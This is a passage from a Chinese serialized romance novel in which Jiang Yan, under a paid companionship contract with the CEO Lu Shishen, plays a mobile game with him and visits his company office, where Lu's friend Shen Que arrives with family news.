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手机,“别送了!真的够了!这都是数据,都是虚的!”
陆时深任由他把手机抢走,手臂顺势环住扑过来的江砚的腰,将他整个人带进怀里,江砚跌坐在陆时深腿上,瞬间不敢动了。
“浪费?”陆时深的声音从他头顶传来,带着温热的气息,“给你花钱,不算浪费。”
江砚耳朵一麻,赶紧从他怀里挣扎出来,坐回旁边,脸上有点热:“那、那也不能这么……”
他低头看着自己手机屏幕上18级的亲密度,这下好了,他和陆时深的亲密度比和周小元的还高了。
“现在,”陆时深拿回自己的手机,点开关系页面,看着那个并排显示的ID【砚砚暴富】和【L】,以及底下18级的数字,满意地勾了勾唇角,“我们的亲密度最高了。”
江砚:“……”
原来是在较这个劲。
他有点想笑,又觉得陆时深这行为跟他的身份地位比起来,实在是……幼稚得有点可爱,一个身家不知道多少个零的总裁,大晚上坐在地毯上跟他打游戏,还因为一个虚拟的恋人关系,跟他的发小较劲,砸钱刷亲密度。
这画面要是被他手底下那些人知道,估计眼珠子都能掉出来,毕竟他是见过陆时深跟助理说话时候什么样子的,严肃,冷淡,公事公办。
可现在这个抱着他刷亲密度的人,也是陆时深。
江砚心里忽然有点乱,他搞不懂陆时深到底想干什么。
但还没等他想明白,陆时深就开口了,声音恢复了平时的样子:“还玩吗?”
“……玩。”江砚重新拿起手机,“但你别再送花了。”
“嗯。”
两人重新开了一局。
这次江砚选了个射手,陆时深选了辅助全程跟着他。
打游戏的时候,江砚的注意力都在屏幕上,但脑子里却时不时冒出刚才陆时深那句:给你花钱,不算浪费。
江砚晃了晃脑袋,把乱七八糟的想法甩出去,专心操作。
这局打得很顺,十五分钟就结束了。
赢了之后,江砚看了眼时间,快十点了。
“还玩吗?”陆时深问。
江砚摇头:“不玩了,有点累。”
“好。”陆时深收起手机,“去洗澡吧,早点休息。”
江砚站起来,走到楼梯口,又停下来,回头看向陆时深。
男人还坐在地毯上,低着头看手机,屏幕的光映在他脸上,看不清表情。
“陆时深。”江砚叫了他一声。
陆时深抬起头:“嗯?”
江砚犹豫了一下,还是问了:“那这个关系……要解吗?”
6.第 6 章
江砚话音落下,客厅里短暂地安静了几秒。
陆时深没说话,只是看着他,那目光平静,却又像有什么更深的东西在里面沉浮,让江砚没来由地有点心慌。
陆时深沉默了一下,然后说:“你不想解,可以不解。”
江砚:“……啊?”
他以为自己听错了。
陆时深看向他:“游戏而已,你玩得开心就好。”
江砚彻底懵了。
他都准备好讨价还价了,结果对方直接掀了谈判桌,说:随你便?
“你……不生气?”江砚问。
“为什么生气?”
“就……”江砚比划了一下,他不知道怎么说,陆时深刷了这么多亲密度,按理说应该要求他跟小元断了,跟他绑才对。
陆时深走了过来,两人距离拉近。
“砚砚,”陆时深开口,声音很轻,“我知道你在想什么,但那是你的游戏,你的朋友,你的生活。”
“嗯?”
“我的意思是,”陆时深看着他,眼神很深,“我不会干涉这些。”
“协议里写得很清楚,我给你钱,你给我陪伴,除此之外,你是自由的。”
自由。
但这一个月,陆时深确实没限制过他什么,他想出门就出门,想接稿就接稿,想打游戏就打游戏,除了吃饭睡觉这些健康问题,陆时深几乎从不对他说不。
“那你……”江砚卡壳了,“也不介意?”
“介意。”陆时深很诚实地说,“但那是你认识我之前就有的关系,”陆时深继续说,“我不想让你觉得跟我在一起,连交朋友都要受限制。”
“如果非要说生气的话,大概我只会气自己认识你太晚了。”
江砚站在原地,愣愣地看着陆时深。
那句介意说出口的时候,他心脏莫名一紧,可陆时深后面的话,又让他那点紧张化成了更复杂的情绪,闷在胸口,说不清道不明。
“不想让你觉得跟我在一起,连交朋友都要受限制。”
陆时深的语气很平静,甚至很温和,可江砚听着,却觉得比刚才他沉默盯着自己时,更让人心里不是滋味。
“如果非要说生气的话,大概我只会气自己认识你太晚了。”
认识太晚。
江砚张了张嘴,想说现在也不晚啊,可话到嘴边,又咽了回去,这话听着太暧昧他不该说,他们只是金钱关系。
他低下头,盯着自己拖鞋上的毛绒绒,脚尖无意识地蹭了蹭地毯。
陆时深看着他这副样子,眼底情绪翻涌了一下,又被他强行压了回去,刚才看到那个恋人标志弹出来的时候,有那么一瞬间,他几乎控制不住自己。
想立刻让江砚和周小元解绑,想让他眼里只看得到自己,想把所有可能分走他注意力的人和事都隔绝在外,想把江砚按在沙发上,想吻他,想在他身上留下痕迹,想让他哭着说只有你。
差一点。
就差那么一点。
但他忍住了,他不能把他吓跑,他花了三十天,才让他稍微放松了一点,会在他面前肆无忌惮,他不能因为自己那点可笑的占有欲,就把这一切都毁掉。
游戏而已,朋友而已。
他不断在心里对自己说。
可只有他自己知道,指尖掐进掌心的痛感有多清晰,他不是圣人,他介意得要命,但他更怕江砚觉得他是个控制狂,是个变态,然后头也不回地离开。
所以他选择退一步,用自由做借口,用认识太晚来掩饰。
“早点休息吧。”陆时深抬手摸摸他的头发,“不要想太多。”
“好,老板晚安。”
“嗯。”陆时深侧身让开,“晚安。”
江砚转身上楼,走到一半,又回头看了眼。
陆时深还站在那里看着他。
江砚赶紧收回视线,加快脚步回了房间。
关上房门,江砚背靠着门板,长长地吐出一口气。
脑子里乱七八糟的。
他拿出手机,点开游戏,看着关系列表里那个金光闪闪的【L】,和底下18级的数字。
又点开和周小元的关系,16级。
江砚盯着屏幕看了很久,然后点开微信。
周小元消息已经刷屏了。
【周小元:砚砚!你还活着吗?!】
【周小元:陆总没把你怎么样吧?】
【周小元:我是不是闯祸了?对不起对不起!我真不是故意的!】
【周小元:你回个话啊!不然我报警了!】
江砚回复。
【江砚:活着呢。】
【江砚:没怎么样。】
【江砚:没闯祸。】
【江砚:他就是看到咱俩的恋人标了。】
消息刚发出去,周小元的电话就打过来了。
江砚接通,还没开口:“他真没把你怎么样?”
“……能怎么样。”江砚往后一倒,瘫在床上。
“那就好那就好,”周小元松了口气,语气立刻变得八卦起来,“所以刚才到底什么情况?陆总看见那个恋人关系啥反应?是不是特别恐怖?”
“没啥反应。”江砚翻了个身,侧躺着,“什么事都没有,陆时深挺好的。”
“挺好?”周小元嘀嘀咕咕,“你管那叫挺好?我就申请进个房间,隔着手机我都感觉陆总那说话声音,他说你好,我听着像:天凉了,让周家破产吧。”
“夸张。”
“哪夸张了,”周小元哼一声,“那可是恋人标,就算你们是协议关系,但名义上你可是他男朋友,他看见你跟别人绑着游戏恋人,能没反应?”
江砚看着天花板:“他说,不干涉我交朋友,说我认识他之前的关系,他尊重。”
周小元那边安静了一会。
“……哈?”
“他还说,”江砚的声音有点飘,“如果非要生气,也只气认识我太晚了。”
周小元这次沉默了更久。
“……砚砚。”周小元的声音难得认真起来,“你不觉得,他对你……好像有点太认真了吗?”
江砚没说话。
“你想想,一个月,几十万上百万地砸,事无巨细地照顾你,连你吃饭睡觉都要管,他甚至都没有碰过你,这已经远远超过包养一个小情人的范
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畴了吧?”
周小元继续说,“而且他刚才那反应,正常金主看见小情人和别人绑游戏恋人,不应该勃然大怒吗?至少也该要求你立刻解绑吧?可他居然说尊重你?还说什么认识太晚……这听起来根本不像金主该说的话,倒像……”
“像什么?”江砚问。
“倒像真的在追你,在小心翼翼地讨你欢心,怕把你吓跑。”周小元说完,自己都觉得离谱,“虽然听起来很不可思议,但砚砚,你真的没感觉吗?”
江砚闭上眼睛。
感觉?
他当然有感觉。
但每次这种念头一冒出来,江砚就会立刻掐断,将他所有行为都扯到钱上,这样他就能记住,他们只是金钱关系。
也时刻能提醒自己,江砚,清醒一点,你们不是一个世界的人,陆时深是什么人?你是什么人?现在他就是对你有新鲜感,等新鲜感过了,协议到期,你们就大路朝天各走一边。
所以,不要多想,赚够钱,然后潇洒离开。
“小元,”江砚开口,声音很平静,“以后别再说这种话了。”
“啊?”
“我跟陆时深,就是一个拿钱一个出人的关系,很简单。”江砚说,“一年后协议结束,我们就是陌生人,不会再有交集,所以,别把他想得太复杂,也别把我想得太重要。”
周小元叹了口气:“行吧,你自己心里有数就行,我说这些也是为了提醒你,不要陷进去,既然你自己知道我就放心了。”
“知道了。”江砚笑了笑,“好了,不说了,我困了,明天再聊。”
挂断电话,江砚把手机扔到一边,盯着天花板发呆。
房门被轻轻敲响。
江砚从发呆中惊醒,坐起身:“进。”
门被推开,陆时深端着一杯牛奶走进来。
他已经换了睡衣,领口微敞,露出清晰的锁骨线条,头发半干,看起来比平时少了几分距离感。
“喝点牛奶,助眠。”陆时深走到床边,把温热的杯子递给他。
江砚接过,他低头抿了一口,浓郁的奶香在口腔里化开,带着淡淡的甜。
“谢谢老板。”他抬起眼,努力扯出一个和平时一样没心没肺的笑,“老板给的牛奶就是甜。”
陆时深没接话,只是看着他,目光落在他脸上,像是在仔细分辨什么。
江砚被他看得有点不自在,又喝了一大口牛奶,试图用杯子挡住自己的脸。
“砚砚。”陆时深突然开口。
“嗯?”
“明天,”陆时深顿了顿,“要不要陪我去公司?”
江砚眨眨眼,以为自己听错了:“去你公司?”
“嗯。”
“我去干嘛?”江砚茫然,“我又不懂你那些生意。”
“不用你懂。”陆时深语气自然,“就在我办公室待着,画画,打游戏,都行。”
江砚捧着牛奶杯,手指无意识地摩挲着杯壁。
他其实没去过陆时深的公司,协议里也没规定他需要陪同办公,但陪吃陪玩陪聊,陪上班应该也是一样?
想了一下,江砚答应了:“好。”
7.第 7 章
“那明天几点出门?”江砚又问。
“八点。”
“……”江砚瞬间垮脸,“这么早?”
陆时深接过他喝空的牛奶杯,“或者等你睡醒,我叫人来接你。”
“那太麻烦了。”江砚说然后皱着眉好像下了什么决心似的,“我起!”
实际上江砚是有点好奇陆时深的公司,他对陆时深的了解基本停留在很有钱,公司好像挺大,工作很忙这几个标签上。
具体是做什么的,公司什么样,这些江砚一概不知。
反正,就当员工了解老板可以更好的提供服务,早起一天就早起一天。
陆时深眼底掠过柔和:“嗯,那明天早上和我一起出门。”
结果第二天早上江砚就后悔了。
七点半,江砚被陆时深从被窝里挖出来时,整个人都是懵的。
“不是说八点吗……”他闭着眼睛任由陆时深给他换衣服,嘴里含糊抱怨。
“八点出门,”陆时深动作熟练地给他套上卫衣,“你要吃饭。”
“我可以不吃……”
“不行。”
江砚放弃挣扎,像个大型人偶一样被陆时深从床上抱进浴室。
被放在洗手台上的时候,江砚总算清醒了些,他眯着眼看向镜子里的陆时深,已经穿戴整齐,深灰色西装,白衬衫扣到最上面一颗,领带系得一丝不苟,金丝眼镜架在鼻梁上,完全恢复了那个高高在上的陆总模样。
和昨晚坐在地毯上打游戏的那个男人判若两人。
江砚盯着镜子里的人看了一会,突然开口:“老板,你这样穿还挺……”
“挺什么?”陆时深问。
“挺像电视剧里那种,分分钟几亿上下的霸总。”江砚咧嘴一笑,“就是缺个邪魅狂狷的笑容。”
陆时深失笑,伸手揉了揉他的头发:“快点洗漱,早餐好了。”
早餐是中式,有江砚爱吃的虾饺,他吃得很快,因为真的困,想赶紧吃完再眯一会儿,另一方面,是怕耽误陆时深出门。
“慢点。”陆时深担心皱眉,“没人跟你抢。”
“困……”江砚含糊不清,“想睡觉……”
“车上可以睡一会。”
“好叭……”江砚嘟囔,但还是加快了速度。
八点整,两人准时出门。
司机已经等在门口,江砚困得东倒西歪,上车后就往角落一靠,闭上眼睛。
陆时深坐进来,看了他一眼,伸手将他揽过来,让他靠在自己肩上。
“睡吧,”陆时深低声说,“到了叫你。”
江砚迷迷糊糊嗯了一声,找了个舒服的姿势,很快就睡着了。
陆时深侧头看着肩上的人,少年睡颜安静,睫毛很长,在眼下投出浅浅的阴影,金发有些凌乱,蹭在他西装领口。
他伸手,轻轻将江砚额前的碎发拨开,动作温柔得不像话。
前排的司机透过后视镜看了一眼,迅速移开视线,不敢多看。
车子平稳驶向市中心。
陆氏集团总部位于CBD核心区,是一栋独立的大楼。
江砚被陆时深轻轻叫醒。
“到了?”江砚揉着眼睛坐直,看向窗外。
“嗯。”陆时深先下车,绕到江砚这边替他拉开车门。
江砚跟着下车,抬头看了看四周。
这里和他平时生活的世界完全不同。
江砚仰头望去,陆时深公司的logo在阳光下熠熠生辉。
江砚知道这个名字,国内科技领域的巨头之一,涉足人工智能、云计算、半导体等多个前沿行业,财经新闻常客。
但他从来没把这公司和陆时深联系在一起,江砚潜意识里觉得,陆时深可能就是个比普通的有钱人有钱的有钱人,开个可能有点大的公司,哪能想到是这种级别的庞然大物。
“走吧。”陆时深很自然地握住他的手。
陆时深的手很大,掌心温热,将他整只手包裹住,江砚愣了下,低头看向两人交握的手。
一楼大堂挑高至少有十米,光洁如镜的大理石地面映出穹顶巨大的水晶吊灯。
前台工作人员穿着统一的制服,见到陆时深进来,立刻齐刷刷起身:“陆总早。”
声音整齐划一,态度恭敬到近乎拘谨。
陆时深径直走向专用电梯。
江砚跟在他身后,能感觉到四面八方偷偷投来的目光,显然,陆时深带人来公司,尤其是带一个看起来年纪轻轻,穿着随意一头黄毛的男孩子来公司,还手牵着手,是件非常不寻常的事,不,是一件非常炸裂的事。
电梯门合上,隔绝了外界的视线。
江砚松了口气,小声说:“他们好像都很怕你。”
电梯上行。
陆时深说:“有吗?”
“有啊,”江砚比划,“你进来的时候,整个大堂都安静了。”
陆时深看他一眼:“这么夸张?”显然陆时深根本没注意过这件事。
“真的!”江砚凑近一点,压低声音,“老板,你在公司是不是特别凶?动不动就骂人那种?”
陆时深挑眉:“你觉得呢?”
“我觉得……”江砚摸着下巴,装模作样地打量他,“很有可能,你看你这张脸,不笑的时候跟要杀人似的。”
陆时深被他气笑了,伸手捏了捏他的脸:“原来我在你心里是这种形象。”
江砚微微往后仰头,“开玩笑啦!”
叮——
电梯门开了。
外面是总裁办公室外的接待区。
江砚第一眼看到的是巨大的落地窗,然后是简洁的设计,黑白灰的主色调,但处处透着我很贵的气息。
一个穿着职业套装的女人迎上来,看起来三十出头,妆容精致,气质干练,胸牌写的陈特助,江砚没见过她,他只见过另一个助理,今天好像不在。
“陆总早。”陈特助微笑着打招呼,目光在江砚身上停留了一瞬,随即礼貌地移开。
陆时深点头。
她开始汇报今天的行程。
“九点半市场部汇报,十一点和盛世的视频会议,下午两点……”
陆时深一边听一边往办公室走,目光平视前方,偶尔点头或简短回应一个嗯。
江砚跟在他身后,像个误入高端副本的萌新。
他悄悄打量着四周。
整个区域安静得可怕,几个秘书坐在工位上,手指在键盘上飞速敲击,余光都不带乱瞟的。
江砚下意识也把自己脚步放轻了。
他们经过茶水间,他瞥见里面站着两个穿西装的年轻人,手里端着咖啡杯,本来在小声交谈着什么,一听到脚步声,齐齐顿住,几乎同时转头。
“陆总早。”两人异口同声。
陆时深继续往前走。
两人目送他们,大气都不敢喘一个。
江砚:“……”
他好像有点明白刚才陆时深说的有吗?是什么意思了。
他确实不知道自己平时在公司是什么样子。
简直像个行走的制冷机。
到了办公室,陈特助汇报
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完带上门出去。
江砚开始观察陆时深的办公室,比他想象中大,但意外地不张扬。
一整面落地窗,阳光铺满灰调的地毯,宽大的黑胡桃木办公桌,桌上只有两台显示器一个笔架,几份文件整齐叠放。
墙边是一组真皮沙发,角落里立着一株绿植。
没有奖杯,没有字画,没有任何彰显身份的东西。
但就是……感觉很贵。
那种不动声色的贵。
“坐。”陆时深脱下西装外套,随手搭在椅背上,解开袖扣,挽起一截衬衫袖子。
江砚走到沙发前坐下,整个人陷进柔软的沙发里,摸出手机,想了想又放下。
他本来打算打游戏,但这地方实在太安静了,安静得他觉得打游戏都是一种亵渎。
于是他把手机放在腿上,开始发呆。
顺便观察陆时深。
男人已经在办公桌后坐下,拿起一份文件翻开。
江砚看着他。
陈特助敲门进来,手里端着托盘,上面是一杯黑咖啡和一杯热牛奶。
牛奶放在江砚面前的茶几上。
“江先生,请慢用。”
江砚愣了一下:“谢谢。”
陈特助微笑点头,转身出去,脚步轻得几乎没有声音。
门再次关上。
江砚端起牛奶喝了一口,温度刚好,不烫不凉。
他继续观察陆时深。
陆时深正在看文件,眉头微蹙,手指偶尔在纸面上点一下,过了一会儿,他拿起手机,拨出一个电话,声音压得很低:
“昨天的数据报表我看过了,第三季度的预测模型再跑一遍,参数调整一下,下午三点前发给我。”
“……嗯,其他按原计划。”
“……不用解释,我要结果。”
电话挂断。
江砚捧着牛奶杯,默默把嘴边那句:老板你说话好凶,咽了回去。
他以前在家里见到的陆时深,是早上蹲下来给他穿袜子的人,是坐在地毯上陪他打游戏的人,是半夜端牛奶进来,声音放得很软叫他砚砚的人。
那是陆时深,但不是全部。
此刻坐在办公桌后面的男人,眼神冷静,语气里没有任何情绪起伏,每一句话都是指令。
这也是陆时深。
江砚把视线收回来,低头盯着牛奶杯里的涟漪。
原来陆时深在外面是这样的。
有点陌生。
但好像……也挺正常的。
本来就不是一个世界的人嘛。
他小小地叹了口气,决定不再乱看,专心喝牛奶。
然而那道视线还是不由自主地飘过去。
没办法,这办公室太空了,除了陆时深也没什么好观察的。
而且……
江砚偷偷抬眼。
陆时深正在写什么,钢笔在指间转动,骨节分明的手指握着笔杆,阳光从窗外照进来,在他脸上明明暗暗。
睫毛很长,鼻梁很高,嘴唇微抿。
啧。
这男人真是……长得有点过分了。
江砚在心里给陆时深的颜值打了个分。
满分一百的话,平时在家可以打一百二,因为会笑。
现在这种工作状态,打九十五吧。
扣五分因为太严肃,看起来像要训人。
他正沉浸在自己的打分系统里,突然——
陆时深抬起眼。
隔着半间办公室的距离,那道目光不偏不倚,正好落进江砚眼底。
8.第 8 章
江砚动作一僵。
偷看被抓包了。
但他脸皮厚,被发现了也不躲,反而眨眨眼,冲陆时深露出一个无辜的笑。
陆时深看着他。
那目光原本是冷的,不知怎么,在落到江砚身上时,像被春水融化,一点一点软下来。
他放下笔。
“很无聊?”声音也放软了。
江砚摇头:“没有没有,你忙你的,不用管我。”
陆时深没说话,只是看着他。
江砚被他看得有点发毛:“……干嘛?”
“过来。”陆时深说。
江砚愣了下,指指自己:“我?”
陆时深点头。
江砚放下牛奶杯,从沙发上站起来,走到办公桌前。
“站那么远做什么。”陆时深微微后仰,靠在椅背上,“再过来点。”
江砚绕到办公桌内侧,在陆时深椅子旁边站定。
然后——
陆时深握住他的手腕,轻轻一拉。
江砚重心不稳,整个人往他那边栽过去,还没反应过来,已经被捞进一个温热的怀抱。
他坐在陆时深腿上了。
手臂环过他的腰,将他圈在自己和办公桌之间。
江砚:“……”
他低头看看环在自己腰上的手臂。
“老板,”江砚开口,声音有点飘,“这里是办公室。”
“嗯。”陆时深应了一声,然后下巴抵在他肩窝里,声音闷闷的,“所以呢?”
所以呢?!
江砚瞪大眼睛。
什么叫所以呢?这里是办公室!门口还有特助和秘书!落地窗外面能看见整个CBD!虽然玻璃肯定是单向的但万一呢!
而且他坐在陆时深腿上,这个姿势。
江砚动了动,想站起来。
腰上的手臂收紧了几分。
“别动。”陆时深说。
江砚不动了。
不是因为他听话,是因为陆时深说这两个字的时候,唇蹭到了他的耳朵。
温热的呼吸洒在耳后那一小块皮肤上。
江砚后颈一阵发麻。
那种麻像有电流从耳后窜进去,顺着脊椎往下走,走得他半边身子都软了。
“老板。”江砚声音有点紧,他努力维持平时的调调,“你这属于职场性骚扰。”
陆时深没说话,只是把脸埋进他肩窝更深了些。
江砚能感觉到陆时深鼻尖蹭在他锁骨的位置,有点痒。
“老板?”
“……嗯。”
“你让我起来。”
“不让。”
江砚:“?”
不让。
行,那我自力更生。
他试图往旁边挪。
腰上的手臂纹丝不动。
他再挪。
依然纹丝不动。
他深吸一口气,决定采用物理突破法,撑着办公桌站起来。
结果刚撑起半个身子,腰上的手突然收紧,把他整个人又捞了回去。
这一次,他的后背完完整整贴进了陆时深的胸膛。
隔着两层布料,他感觉到那片胸膛的温度,还有,
心跳。
一下,两下,三下。
很快。
比平时快。
“别动。”陆时深的声音从肩窝里传出来,低哑得不像话。
江砚僵住了。
因为他感觉到了。
有什么东西抵在他身后,陆时深某个部位起了变化。
这不是去幼儿园的车。
……
……
……
江砚彻底不敢动了。
他眼睛瞪得溜圆,盯着面前的办公桌,呼吸都放轻了。
“怎么不说话了?”陆时深声音还是哑的,笑意却很明显,甚至还带着点戏谑。
江砚梗着脖子,耳朵红得像要滴血。
“我、我……”他卡壳了。
陆时深微微侧头,去看他的脸。
江砚赶紧把脸转向另一边,只给他一个红透了的侧脸。
“哦,”陆时深慢条斯理,“耳朵红了。”
江砚:“……”
“脸也红了。”
江砚:“……”
“脖子也——”
“陆时深!”江砚终于憋出一句,声音都劈叉了,但怕外面听到,还是压低了声音。
陆时深低低地笑了一声。
那笑声从胸腔震过来,贴着江砚的后背。
江砚:“……”
“你现在在想什么?”陆时深忽然问。
江砚条件反射:“什么都没想。”
“是吗。”陆时深说,“那你抖什么?”
江砚:“……”
他深吸一口气,努力让自己的声音听起来镇定:“老板,现在是上班时间。”
“嗯。”
“你是总裁。”
“嗯。”
“你应该日理万机。”
“嗯。”
“所以你能不能……”
“不能。”
江砚噎住。
陆时深下巴抵在他肩窝里,侧过脸,鼻尖轻轻蹭过他的耳垂。
“你扭来扭去的时候,”陆时深说,语气里甚至包含几分无辜,“没想过后果?”
江砚:“……”
我那是想挣脱你的魔爪!不是扭来扭去!
但他不敢说。
因为他现在确实不敢动了。
最后,两个人就这样维持着这个姿势。
江砚僵成一块人形木板,陆时深抱着他,呼吸渐渐平复下来。
不知道过了多久,陆时深终于开口:
“砚砚。”
声音已经恢复了七八分正常。
江砚警惕地嗯?了一声。
“以后,”陆时深顿了顿,“不要在我腿上扭来扭去。”
江砚:“……”
“所以,”他开口,发现自己声音有点干,“你现在冷静了吗?”
陆时深没答话。
只是箍在他腰间的手,慢慢松开了一点。
但仍然没放他走。
又安静了一会儿。
“陆时深。”
“嗯。”
“你这样,”江砚顿了顿,斟酌措辞,“不会影响工作效率吗?”
陆时深想了想:“会。”
“那你还——”
“但今天效率已经够高了,”陆时深语气平静,“因为有你在,提前完成了下午三分之一的工作。”
江砚:“……”
所以霸总的工作效率是可以用这种方式提升的?
他不理解,但他大受震撼。
九点二十五分,内线响起。
“陆总,市场部的人到了。”陈特助汇报。
陆时深松开环在江砚腰间的手。
江砚立刻从他腿上弹起来,动作敏捷得像只受惊的兔子,三两步蹿回沙发,抄起茶几上已经凉了的牛奶猛地喝了一大口。
心跳的巨快,心里不断想着,为什么这人来了公司以后跟变了个人似的,这么……这么……
他找不到形容词,反正跟在家完全不一样。
陆时深看他一眼,又确定了自己的状态,按下了内线:“让他们进来。”
门打开,三个西装革履的人鱼贯而入。
为首的是个三十出头的男人,手里拿着文件夹,正要开口汇报,视线扫过沙发上脸红的跟煮熟了的虾子一样的江砚,顿了一下。
但只有瞬间。
紧接着他目光收回去,好像什么都没看见。
“陆总,这是第三季度的市场推广方案……”
江砚捧着牛奶杯,安静地缩在沙发角落,努力把自己变成一株人形绿植。
市场部的汇报持续了二十分钟。
江砚一开始还试图听一下他们在说什么,但那些词拆开他都认识,组合在一起就变成了天书。
什么“用户画像”,什么“转化漏斗”,什么“私域流量”……
他
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默默放弃,低头玩手机。
戴上耳机,开了一局匹配。
陆时深的声音偶尔飘进耳朵,和平时和他说话时的温柔完全不一样,也没有那么多耐心。
“这个方案的ROI测算过?”
“渠道投放的优先级再排。”
“第三版比前两版好,还可以优化。”
江砚手指在屏幕上滑动,耳朵却不由自主地追着陆时深的声音跑。
奇怪。
明明是同一个人,怎么可以差别这么大。
匹配打到一半,他听见椅子移动的声音。
“就按刚才说的调整,”陆时深说,“周五之前给我。”
“好的陆总。”
脚步声,关门声。
办公室重新安静下来。
江砚抬起头,正好对上陆时深的视线。
陆时深已经从办公桌后站起来,正在整理袖扣,显然是准备出门。
“我要去开个会,”陆时深走过来,“大概一小时。”
江砚点头:“哦,好。”
陆时深站在沙发前,低头看着他。
江砚被看得有点不自在:“……干嘛?”
“乖乖等我回来。”陆时深说。
江砚:“……我又不是小孩。”
陆时深没反驳,只是伸手揉了揉他的头发。
“茶几抽屉里有零食,”他说,“陈特助在外面,有事找她。”
“知道了知道了。”
陆时深又看了他一眼,才转身离开。
门关上。
江砚瘫回沙发,长长地吐出一口气。
终于走了。
他甩甩脑袋,决定不去想刚才的事情。
其实也没什么大不了的。
成年人了,有点生理反应很正常,没有才不正常。
陆时深二十八岁,正是血气方刚的年纪。
他只是恰好坐在了不该坐的地方。
而已。
江砚成功说服自己。
茶几抽屉拉开,里面整整齐齐码着各种零食,进口巧克力、坚果、水果干,还有他爱吃的曲奇饼。
江砚拆开一包巧克力,塞了一颗进嘴里。
浓郁的可可香在舌尖化开,他满足地眯起眼睛。
然后他摸出平板,打开画布,开始涂鸦。
画什么呢?
手指悬在屏幕上,犹豫了几秒。
然后,不受控制地,勾勒出一道轮廓。
宽肩,窄腰,流畅的背肌线条,半挽的衬衫袖口下露出结实的小臂。
江砚画得很专注。
等回过神来,屏幕上已经躺着一个半身速写。
是陆时深。
江砚盯着画看了几秒。
然后面无表情地把图层隐藏。
他什么都没画,嗯。
然后对着平板发了二十分钟的呆。
他刚才把那个图层隐藏了,现在屏幕上只剩一张空白的画布,白得晃眼。
啧。
他划掉画布,点开相册,翻了翻之前存的素材图,试图洗洗眼睛。
各种风格的美男。
但不知道为什么,现在看这些图,总觉得……不够。
不够什么呢?
江砚盯着屏幕想了一会儿,没想明白。
算了,不想了。
他关掉平板,拆了包坚果,开始一颗一颗往嘴里丢。
看着落地窗外能俯瞰整个CBD,完全和自己截然不同的两个世界,一边丢一边感叹。
人生啊。
虽然也不知道为什么突然感叹起来人生了。
他把一颗腰果抛进嘴里,嚼得咯嘣响。
门突然被敲响了。
江砚愣了一下。
陆时深说过,他开会大概一小时,这才过了半个小时。
他放下坚果袋子,从沙发上站起来。
“请进。”
门被推开。
进来的是个男人。
不是陈特助,也不是刚才汇报的那些人。
9.第 9 章
来人穿着一件深灰色高领毛衣,五官是那种很有攻击性的英俊,眉骨高,眼尾微微上挑,唇边挂着一抹似有若无的笑意,气质散漫,往那儿一站,像来喝茶的。
他看见江砚,脚步顿了一下。
江砚也看着他。
沉默。
江砚先开口:“陆时深开会去了。”
那人点点头:“我知道。”
然后就没了。
江砚站在沙发边,有点拘谨。他不知道这人是谁,看起来不像员工,合作伙伴?朋友?
那人倒也不急,自顾自地在另一侧沙发坐下,翘起二郎腿,用一种参观的目光打量了一圈办公室,最后落在江砚身上。
“你坐。”他说,语气随意,“站着像罚站。”
江砚:“……哦。”
他慢慢坐回去,背脊挺直,双手搭在膝盖上。
像被班主任叫去谈话的差生。
那人笑了一声:“别紧张。”
江砚干巴巴地扯了下嘴角:“没紧张。”
气氛再次安静。
“沈确。”
那人突然开口。
江砚一愣:“啊?”
“我的名字。”沈确扬了扬下巴,“你呢?”
“你叫什么?”
江砚迟疑了一下。
“江砚。”他说。
“江砚。”沈确把这个名字含在嘴里品了品,然后笑了,“时深带人来公司,稀罕事。”
江砚不知道该接什么,只好干笑一声。
沈确也没追问,只是靠在椅背上,单手撑着下巴,慢悠悠地打量他。
那目光说不上冒犯,但就是让江砚有点不自在。
“你是他什么人?”沈确又问。
江砚思考了一下,买来的情人?这能说吗,应该是不能说的。
“朋友。”他说。
沈确挑了挑眉,那表情分明在说:你猜我信不信,但他没有拆穿。
“巧了,”沈确笑起来,“我跟时深也是朋友。”
他从口袋里摸出手机,解锁,屏幕朝上放在茶几上。
“加个微信?”
江砚愣住。
加微信?
他应该加吗?
这人说是陆时深的朋友,但陆时深从来没提过他有这么个朋友,而且,如果真是陆时深的朋友,加微信这件事,肯定得先问一下陆时深。
他正犹豫着该说什么拒绝,办公室的门被推开了。
会议提前结束,陆时深站在门口,他一眼就看到了沙发上的两个人,还有桌上的手机。
他的脸色几乎是瞬间沉了下来,随即大步走过来。
见状沈确把手机收回去,慢条斯理地锁屏,一点没有被抓包的窘迫,把手机揣回裤兜,往沙发背上一靠,翘起的二郎腿甚至晃了晃。
陆时深已经走到茶几边,他看着沈确,那目光说不上凶狠,但就是让沈确晃腿的动作停了一下。
“你来干什么?”陆时深问。
沈确仰头和他对视,然后笑了一声,“这不是一段时间没见了,以为你人间蒸发了,”他慢悠悠地说,“过来看看怎么回事儿。”然后视线往江砚那边斜了一下。
“早说啊。”那三个字拖长了尾音,意有所指。
江砚有点尴尬,他站起来:“那个……我出去一下,你们聊。”
刚迈出半步,手腕被握住了。
“不用。”陆时深说。声音放软了,和刚才对着沈确时的冷硬判若两人。
江砚顿住,他低头看着自己被握住的手腕,陆时深的指腹正压在他腕骨上,力气不大,却也抽不出去。
当着外人的面,江砚没挣扎,乖乖坐回去了。
看到这一幕,沈确挑了挑眉,视线从陆时深的手落到江砚脸上,又从江砚脸上移回陆时深脸上,然后发出一声意味不明的:
“啧。”
随后收回那副懒散模样,虽然还翘着腿,但语气正经了不少。
“说正事。”
陆时深没接话,他先看了江砚一眼,确认他安安稳稳坐在沙发上了,才松开手,在江砚旁边坐下来,但贴得很近。
沈确看着嘴角又微微抽动,但忍着没啧。
“前天你妈给我打电话,”沈确开口,语气散漫,“绕了一大圈,中心思想就一个——”
“问你什么时候回去。”
陆时深没说话。
沈确继续说:“下周六,你家老太太生日,八十整寿,你爸的意思是今年要大办。”他慢悠悠地补了一句,“让你务必到场。”
陆时深靠在沙发背上,表情平淡:“知道了。”
沈确挑眉:“就知道了?没别的?”
陆时深:“不然?”
沈确啧了一声,换了个更舒服的姿势,视线在江砚身上停了一瞬,又收回去。
“还有件事。”他语气还是那副懒洋洋的调调,“苏越要回国了。”
陆时深没说话,连表情都没变。
沈确慢悠悠地继续说:“你妈前两天还跟我妈念叨,说苏越这孩子,国外待了几年,也该回来了。”他顿了顿,尾音拖得意味深长,“你妈还挺惦记他。”
陆时深终于开口,语气很淡:“跟我有什么关系。”
“跟你没关系,”沈确笑了一声,带着点看好戏的意味,“跟你妈有关系,跟你爸有关系,跟陆家有关系。”
他顿了顿,目光若有似无地从江砚脸上掠过,那一眼并不刻意停留,像只是不经意间扫过。
“你妈的意思,你应该懂。”
江砚忽然伸手拿了颗巧克力。
